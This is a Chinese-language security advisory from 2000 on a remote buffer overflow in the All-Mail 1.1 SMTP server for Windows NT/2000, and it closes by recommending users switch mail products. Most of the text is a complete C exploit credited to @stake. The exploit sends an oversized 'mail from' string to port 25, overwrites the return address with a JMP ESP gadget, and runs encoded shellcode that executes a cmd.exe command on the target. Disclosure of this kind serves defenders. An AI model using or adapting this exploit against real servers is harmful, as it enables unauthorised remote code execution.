发布日期：2000-10-13
更新日期：2000-10-13

受影响系统：

    Nevis Systems All-Mail 1.1
       - Microsoft Windows NT 4.0
       - Microsoft Windows NT 2000

描述：

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All-mail是Nevis Systems公司的产品，用于Windows NT/2K系统上的SMTP服务。它没
有验证来自mail from和rcpt to命令的字符串长度，就直接拷贝到程序里固定大小的
缓冲区中，显然很容易遭受远程缓冲区溢出攻击。至少能导致SMTP SERVER崩溃，甚
至可能在受攻击主机上执行任意代码。

<* 来源：@stake security advisory *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

@stake security advisory里提供了一个测试程序：

#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <stdio.h>

struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;
char hostname[256]="";

int main(int argc, char *argv[])
{
        int chk=0,count=0;
        char
buffer[500]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPP
PQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ11112222333344445555666677778888999
90000aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrr
rssssttttuuuuvvvvwwwwxxxxyy";

        if(argc == 1)
                {
                        printf("\n\tUsage: C:\\>%s host\n\tTests for All-Mail buffer overflow\n\tDavid Litchfield 10th October 2000\n\n",argv[0]);
                        return 0;
                }

        strncpy(hostname,argv[1],250);

        // Overwrite the saved return address with 0x77F32836
        // This address contains a JMP ESP instruction that
        // when executed will land us back in our buffer

        buffer[242]=0x36;
        buffer[243]=0x28;
        buffer[244]=0xF3;
        buffer[245]=0x77;

        count = 246;

        // This part of the buffer gets zapped - just put NOPs in

        buffer[count++]=0x90;
        buffer[count++]=0x90;
        buffer[count++]=0x90;
        buffer[count++]=0x90;
        buffer[count++]=0x90;
        buffer[count++]=0x90;
        buffer[count++]=0x90;
        buffer[count++]=0x90;
        buffer[count++]=0x90;


        // This is where our code starts in earnest

        // mov esp,ebp
        buffer[count++]=0x8B;
        buffer[count++]=0xEC;

        // With our stack perserved and our code safe we continue

        // mov ebx,esp
        buffer[count++]=0x8B;
        buffer[count++]=0xDC;

        // mov eax,77F1A986h
        buffer[count++]=0xB8;
        buffer[count++]=0x86;
        buffer[count++]=0xA9;
        buffer[count++]=0xF1;
        buffer[count++]=0x77;

        // xor esi,esi
        buffer[count++]=0x33;
        buffer[count++]=0xF6;

        // push esi
        buffer[count++]=0x56;

        // mov ecx, 0xFFFFFFFF
        buffer[count++]=0xB9;
        buffer[count++]=0xFF;
        buffer[count++]=0xFF;
        buffer[count++]=0xFF;
        buffer[count++]=0xFF;

        // sub ecx, 0x0D7
        buffer[count++]=0x83;
        buffer[count++]=0xE9;
        buffer[count++]=0xD7;

        // loophere:

        // sub dword ptr[ebx+0x50],1
        buffer[count++]=0x83;
        buffer[count++]=0x6B;
        buffer[count++]=0x50;
        buffer[count++]=0x01;

        // sub ebx,1
        buffer[count++]=0x83;
        buffer[count++]=0xEB;
        buffer[count++]=0x01;

        // sub ecx,1
        buffer[count++]=0x83;
        buffer[count++]=0xE9;
        buffer[count++]=0x01;

        // test ecx,ecx
        buffer[count++]=0x85;
        buffer[count++]=0xC9;

        // jne loophere
        buffer[count++]=0x75;
        buffer[count++]=0xF2;

        // add ebx,0x55
        buffer[count++]=0x83;
        buffer[count++]=0xC3;
        buffer[count++]=0x55;

        // push ebx
        buffer[count++]=0x53;

        // call eax
        buffer[count++]=0xFF;
        buffer[count++]=0xD0;

        // This bunch is our command to run:
        // cmd.exe /c dir > allmail_orun.txt
        // but with 1 added to evey character
        // which is SUBed in the loop above
        buffer[count++]=0x01;
        buffer[count++]=0x01;
        buffer[count++]=0x01;
        buffer[count++]=0x01;
        buffer[count++]=0x64;
        buffer[count++]=0x6e;
        buffer[count++]=0x65;
        buffer[count++]=0x2f;
        buffer[count++]=0x66;
        buffer[count++]=0x79;
        buffer[count++]=0x66;
        buffer[count++]=0x21;
        buffer[count++]=0x30;
        buffer[count++]=0x64;
        buffer[count++]=0x21;
        buffer[count++]=0x65;
        buffer[count++]=0x6a;
        buffer[count++]=0x73;
        buffer[count++]=0x21;
        buffer[count++]=0x3f;
        buffer[count++]=0x21;
        buffer[count++]=0x62;
        buffer[count++]=0x6d;
        buffer[count++]=0x6d;
        buffer[count++]=0x6e;
        buffer[count++]=0x62;
        buffer[count++]=0x6a;
        buffer[count++]=0x6d;
        buffer[count++]=0x60;
        buffer[count++]=0x70;
        buffer[count++]=0x73;
        buffer[count++]=0x76;
        buffer[count++]=0x6f;
        buffer[count++]=0x2f;
        buffer[count++]=0x75;
        buffer[count++]=0x79;
        buffer[count++]=0x75;
        buffer[count++]=0x01;
        buffer[count++]=0x01;
        buffer[count++]=0x01;


        if(startWSOCK(hostname)!=0)
                {
                        printf("Winsock Error!\n");
                        return 0;
                }

        DoBufferOverrun(buffer);

        return 0;

}



int startWSOCK(char *swhost)
{
        int err=0;
        WORD wVersionRequested;
        WSADATA wsaData;

        wVersionRequested = MAKEWORD( 2, 0 );
        err = WSAStartup( wVersionRequested, &wsaData );
        if ( err != 0 )
                {

                        return 2;
                }
        if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion )!= 0 )
                {
                        WSACleanup( );
                        return 3;
                }

        if ((he = gethostbyname(swhost)) == NULL)
                {
                        printf("Host not found..");
                        return 4;
                }
        sa.sin_addr.s_addr=INADDR_ANY;
        sa.sin_family=AF_INET;
        memcpy(&sa.sin_addr,he->h_addr,he->h_length);

        return 0;
}

int DoBufferOverrun(char *exploit)
{

        int snd, rcv, err, count =0,incount = 0;
        char resp[200],*loc=NULL;

        sa.sin_port=htons(25);
        sock=socket(AF_INET,SOCK_STREAM,0);
        bind(sock,(struct sockaddr *)&sa,sizeof(sa));
        if (sock==INVALID_SOCKET)
                {
                        closesocket(sock);
                        return 0;
                }

        if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
                {

                        closesocket(sock);
                        printf("Failed to connect\n");
                        return 0;
                }
        else
                {
                        rcv = recv(sock,resp,200,0);
                        snd = send(sock,"helo all-mail.overrun.test\r\n",28,0);
                        rcv = recv(sock,resp,200,0);
                        loc = strstr(resp,"250 HELO accepted");
                        if(loc == NULL)
                                {
                                        printf("Server does not appear to be
running All-Mail -otgpdvt\nAborting...");
                                        closesocket(sock);
                                        return 0;
                                }
                        else
                                {
                                        snd = send(sock,"mail from: <",12,0);
                                        snd = send(sock,exploit,strlen(exploit),0);
                                        snd = send(sock,">\r\n",3,0);
                                        printf("Payload
sent...allmail_orun.txt should have been created.\n");
                                }
                }

closesocket(sock);
return 0;
}



建议：

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Nevis Systems虽然意识到这个问题，但是据说他们不再支持该产品，NSFOCUS建议用户使用
其他MAIL产品。

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